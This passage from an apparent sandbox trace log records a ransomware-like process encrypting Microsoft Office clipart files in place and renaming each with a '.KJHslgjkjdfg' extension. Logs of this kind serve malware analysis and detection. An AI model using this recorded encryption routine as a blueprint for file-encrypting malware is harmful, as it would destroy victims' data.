lpNumberOfBytesRead=0x29df27c*=0x4124, lpOverlapped=0x0) returned 1 [0206.781] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4130, dwBufLen=0x4130 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4130) returned 1 [0206.781] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.781] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4130, lpOverlapped=0x0) returned 1 [0206.781] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.781] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.781] SetEndOfFile (hFile=0x130) returned 1 [0206.784] GetProcessHeap () returned 0x990000 [0206.784] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.784] GetProcessHeap () returned 0x990000 [0206.784] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.784] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00485_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00485_.wmf.kjhslgjkjdfg")) returned 1 [0206.785] CloseHandle (hObject=0x130) returned 1 [0206.785] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d627000, ftCreationTime.dwHighDateTime=0x1bd98a5, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d627000, ftLastWriteTime.dwHighDateTime=0x1bd98a5, nFileSizeHigh=0x0, nFileSizeLow=0x1402c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00489_.WMF", cAlternateFileName="")) returned 1 [0206.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00489_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.787] GetProcessHeap () returned 0x990000 [0206.787] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.787] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.787] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.787] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.790] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.790] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.791] GetProcessHeap () returned 0x990000 [0206.791] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.791] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.791] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.791] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.791] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.791] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.791] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.791] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.791] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.791] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.791] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.791] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.791] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1402c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1402c, lpOverlapped=0x0) returned 1 [0206.793] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x14030, dwBufLen=0x14030 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x14030) returned 1 [0206.794] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.794] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x14030, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x14030, lpOverlapped=0x0) returned 1 [0206.794] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.794] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x14104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.794] SetEndOfFile (hFile=0x130) returned 1 [0206.797] GetProcessHeap () returned 0x990000 [0206.797] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.797] GetProcessHeap () returned 0x990000 [0206.797] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.797] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00489_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00489_.wmf.kjhslgjkjdfg")) returned 1 [0206.798] CloseHandle (hObject=0x130) returned 1 [0206.798] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb32c0c00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb32c0c00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x1ee4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00531_.WMF", cAlternateFileName="")) returned 1 [0206.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00531_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.800] GetProcessHeap () returned 0x990000 [0206.800] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.800] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.800] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.800] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0206.821] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.821] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.821] GetProcessHeap () returned 0x990000 [0206.821] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.821] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.821] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.821] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.821] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.821] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.822] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.822] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.822] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.822] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.822] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.822] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.822] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1ee4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1ee4, lpOverlapped=0x0) returned 1 [0206.823] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ef0, dwBufLen=0x1ef0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ef0) returned 1 [0206.823] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.823] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1ef0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1ef0, lpOverlapped=0x0) returned 1 [0206.824] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.824] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1fc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.824] SetEndOfFile (hFile=0x130) returned 1 [0206.826] GetProcessHeap () returned 0x990000 [0206.826] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.826] GetProcessHeap () returned 0x990000 [0206.826] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.827] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00531_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00531_.wmf.kjhslgjkjdfg")) returned 1 [0206.828] CloseHandle (hObject=0x130) returned 1 [0206.828] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33585700, ftCreationTime.dwHighDateTime=0x1bf3bda, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33585700, ftLastWriteTime.dwHighDateTime=0x1bf3bda, nFileSizeHigh=0x0, nFileSizeLow=0x8da8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00542_.WMF", cAlternateFileName="")) returned 1 [0206.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00542_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.830] GetProcessHeap () returned 0x990000 [0206.830] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.830] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.830] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.830] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.834] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.834] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.835] GetProcessHeap () returned 0x990000 [0206.835] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.835] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.835] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.835] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.835] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.835] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.835] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.835] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.835] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.835] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.835] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.835] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.835] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8da8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8da8, lpOverlapped=0x0) returned 1 [0206.837] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8db0, dwBufLen=0x8db0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8db0) returned 1 [0206.837] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.837] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8db0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8db0, lpOverlapped=0x0) returned 1 [0206.837] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.837] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.837] SetEndOfFile (hFile=0x130) returned 1 [0206.840] GetProcessHeap () returned 0x990000 [0206.840] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.840] GetProcessHeap () returned 0x990000 [0206.840] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.840] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00542_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00542_.wmf.kjhslgjkjdfg")) returned 1 [0206.842] CloseHandle (hObject=0x130) returned 1 [0206.842] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b853b00, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b853b00, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x140c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00555_.WMF", cAlternateFileName="")) returned 1 [0206.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00555_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.843] GetProcessHeap () returned 0x990000 [0206.843] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.843] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.843] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.844] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.849] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.849] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.849] GetProcessHeap () returned 0x990000 [0206.849] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.849] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.849] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.849] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.850] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.850] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.850] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.850] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.850] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.850] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.850] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.850] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.850] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x140c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x140c, lpOverlapped=0x0) returned 1 [0206.852] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1410, dwBufLen=0x1410 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1410) returned 1 [0206.853] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.853] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1410, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1410, lpOverlapped=0x0) returned 1 [0206.853] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.853] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x14e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.853] SetEndOfFile (hFile=0x130) returned 1 [0206.856] GetProcessHeap () returned 0x990000 [0206.856] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.856] GetProcessHeap () returned 0x990000 [0206.856] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.856] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00555_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft 